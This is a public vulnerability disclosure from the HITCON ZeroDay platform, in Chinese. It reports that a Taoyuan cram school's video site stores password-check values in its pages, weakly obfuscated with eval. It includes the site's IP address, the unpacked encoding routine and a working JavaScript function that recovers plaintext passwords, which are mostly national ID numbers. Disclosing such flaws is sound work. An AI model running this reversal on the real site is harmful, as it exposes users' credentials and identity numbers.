Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2025-00326
- Vendor: 桃園誠功補習班
- Title: 桃園誠功補習班雲端教學影片系統逆向
- Introduction: 透過逆向 ipw 與 ipw_key 編碼演算法,可完全還原使用者明文密碼
處理狀態
目前狀態
公開
Last Update : 2025/06/20
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2025/04/20 20:19:17 : 新提交 (由 HackDragon 更新此狀態)
- 2025/04/20 21:53:08 : 新提交 (由 HackDragon 更新此狀態)
- 2025/04/21 14:41:38 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/05/02 16:18:28 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/05/02 16:18:29 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/05/02 16:18:29 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/06/20 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2025-00326
- 通報者:HackDragon (HackDragon)
- 風險:嚴重
- 類型:資訊洩漏 (Information Leakage)
參考資料
攻擊者可利用洩漏資訊進行下一步攻擊行為。
OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure
CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure
CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://220.133.27.202/
敘述
因為剛入門資安不太懂所以用gpt查詢後應該是叫做CWE‑327 Use of a Broken or Risky Cryptographic Algorithm
進入網站後開啟f12工具每個課程的div中都存著三個金鑰
接著再去查看這個function的運作方式
function checkPermitHome(ipw,ipw_key,iTag){
iipw=''; if(ipw!='') iipw=prompt('請輸入指定密碼 (英數字元,大小寫相異)','');
if(iipw!=null){
if(/^[0-9a-zA-Z]+$/.test(iipw)){
eniipw='';
for(u=0;u<iipw.length;u++){
eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])return p}('6=6+(2.1(0)+2.1(0)*4.5(0)-3*4.5(0))+\',\';',7,7,'u|charCodeAt|iipw||ipw_key|charAt|eniipw'.split('|'),0,{}));
}
iipw=eniipw;
} else if(iipw!=''){ alert("密碼必須是英文或數字!");iipw=null;}
if(iipw==ipw){
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])return p}('4=a.b(\';\');5=\'\';9(3=0;3<4.8;3++){7(/^(\\d+)\\.\\d(\\d+)$/.c(4[3]))5+=g.e(6.$1-6.$2-f)}',17,17,'|||i|ics|icstr|RegExp|if|length|for|iTag|split|test||fromCharCode|273|String'.split('|'),0,{}));
//window.open(icstr,'_top');
window.open(icstr+"?checkFromHomeIndex",'_top');
} else if(iipw!=null) alert("密碼錯誤!");
}
}
可以發現只有使用很基礎的eval混淆,在很多線上工具都可以逆向出來,eval逆向出的結果是
eniipw = eniipw + (iipw.charCodeAt(u) + iipw.charCodeAt(u) * ipw_key.charAt(u) - 3 * ipw_key.charAt(u)) + ',';
稍微判斷一下邏輯後可以寫出這個逆向程式
console.log(reverse('187,238,435,453,453,291,215,153,339,','348885326'))
function reverse(ipw, ipw_key){
let pass = '';
const ipwarr = ipw.split(',')
for(let i = 0; i < ipw_key.length; i++){
//ipw number = iipw.charCodeAt(u) + iipw.charCodeAt(u) * ipw_key.charAt(u) - 3 * ipw_key.charAt(u)
// fin = ans + ans * fin2 - 3 * fin2
// fin = ans(1 + fin2) - 3 * fin2
// ans(1 + fin2) - 3 * fin2 = fin
// ans = fin + 3 * fin2 / 1 + fin2
const nowpass = (parseInt(ipwarr[i]) + 3 * parseInt(ipw_key.charAt(i))) / (1 + parseInt(ipw_key.charAt(i)))
pass += String.fromCodePoint(nowpass)
}
return pass
}
然後就可以拿到密碼
比較嚴重的是經過查看發現大多數都為使用者的身分證,有個資外洩的隱患
最後如果有類型勾選錯誤的我很抱歉,對資安的熟悉度還沒有很高
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。